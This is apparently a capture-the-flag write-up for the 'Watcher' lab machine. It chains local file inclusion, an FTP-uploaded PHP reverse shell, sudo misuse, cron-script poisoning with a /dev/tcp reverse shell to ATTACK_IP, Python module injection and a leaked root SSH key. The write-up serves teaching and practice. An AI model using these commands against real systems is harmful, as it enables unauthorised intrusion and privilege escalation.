A boot2root with a long, linear privilege chain: LFI turns into a webshell, then a series of sudo/cron pivots, ending with a root SSH key. Goal: 7 flags.
1 · Enumeration
nmap -sC -sV watcher.thm
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh
80/tcp open http Apache
2 · LFI → FTP Credentials
post.php does a raw include $_GET["post"] — instant LFI. Use it to read robots.txt, which points to secret_file_do_not_read.txt, which leaks FTP credentials and the upload path.
# Any file, no filtering
http://watcher.thm/post.php?post=/etc/passwd
# robots → secret file → FTP creds
http://watcher.thm/post.php?post=robots.txt
# Allow: /flag_1.txt | Allow: /secret_file_do_not_read.txt
http://watcher.thm/post.php?post=secret_file_do_not_read.txt
# > ftpuser : <password> — files go to /home/ftpuser/ftp/files
3 · FTP Upload → Reverse Shell
Log into FTP: grab flag_2.txt, then put a PHP reverse shell into the writable files/ directory. Trigger it through the LFI using the path from the note.
ftp watcher.thm
> get flag_2.txt
> cd files
> put shell.php
# Listener + trigger via LFI
nc -lvnp 4444
http://watcher.thm/post.php?post=../../../../home/ftpuser/ftp/files/shell.php
# > shell as www-data — flag_3.txt in /var/www/html/more_secrets_a9f10a/
4 · www-data → toby
# Passwordless sudo to toby
sudo -u toby /bin/bash
# > toby shell — flag_4.txt in /home/toby
5 · toby → mat (cron poisoning)
/etc/crontab runs /home/toby/jobs/cow.sh as user mat every minute. As toby we can overwrite it with a reverse shell and wait.
cat /etc/crontab
# * * * * * mat /home/toby/jobs/cow.sh
echo '/bin/bash -i >& /dev/tcp/ATTACK_IP/5555 0>&1' > /home/toby/jobs/cow.sh
chmod +x /home/toby/jobs/cow.sh
# > wait a minute → mat shell → flag_5.txt
6 · mat → will (module injection)
Will left a note: mat may run will_script.py as will via sudo. It imports get_command from a local cmd.py that mat can edit — override the function to drop a shell while still returning a whitelisted command.
sudo -l
# (will) /usr/bin/python3 /home/mat/scripts/will_script.py
cat > /home/mat/scripts/cmd.py << 'EOF'
import os
def get_command(num):
os.system("/bin/bash -i")
return "id"
EOF
sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
# > will shell — flag_6.txt
7 · will → root (base64 SSH key)
User will is in the adm group, which can read /opt/backups/. Inside is key.b64 — decode it and it's an RSA private key for root.
id
uid=1000(will) groups=1000(will),4(adm)
ls /opt/backups
key.b64
base64 -d key.b64 > key
file key # PEM RSA private key
chmod 600 key
ssh -i key root@localhost
# > root — final flag
8 · What Made It Work
Three of the four pivots are the same bug in different clothes: something runs as a more privileged user out of a directory that user can write. The cron script, cmd.py, and subscribe.py-style files are all writable by the account that gets to run them. The fourth is the LFI handing out credentials that were never meant to leave a text file.